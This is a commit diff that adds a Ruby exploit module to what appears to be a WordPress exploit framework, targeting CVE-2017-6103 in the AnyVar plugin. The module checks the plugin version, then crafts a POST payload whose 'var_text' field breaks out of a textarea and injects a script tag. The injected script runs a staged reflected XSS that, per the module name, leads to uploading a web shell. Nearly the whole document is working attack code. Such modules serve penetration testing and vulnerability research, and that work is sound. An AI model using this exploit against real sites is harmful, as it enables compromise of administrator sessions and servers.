Add AnyVar reflected XSS shell upload

Author: rastating

modules/exploits/anyvar_reflected_xss_shell_upload.rb

@@ -0,0 +1,38 @@
+class Wpxf::Exploit::AnyvarReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'AnyVar <= 0.1.1 Reflected XSS Shell Upload',
+      author: [
+        'Larry W. Cashdollar',            # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8764'],
+        ['CVE', '2017-6103'],
+        ['URL', 'http://www.vapidlabs.com/advisory.php?v=177']
+      ],
+      date: 'Feb 21 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('anyvar', '0.1.2')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'tools.php?page=anyvar/anyvar.php')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'action' => 'add',
+      'var_name' => Utility::Text.rand_alphanumeric(10),
+      'var_text' => "</textarea><script>#{xss_ascii_encoded_include_script}<\\/script>"
+    )
+  end
+end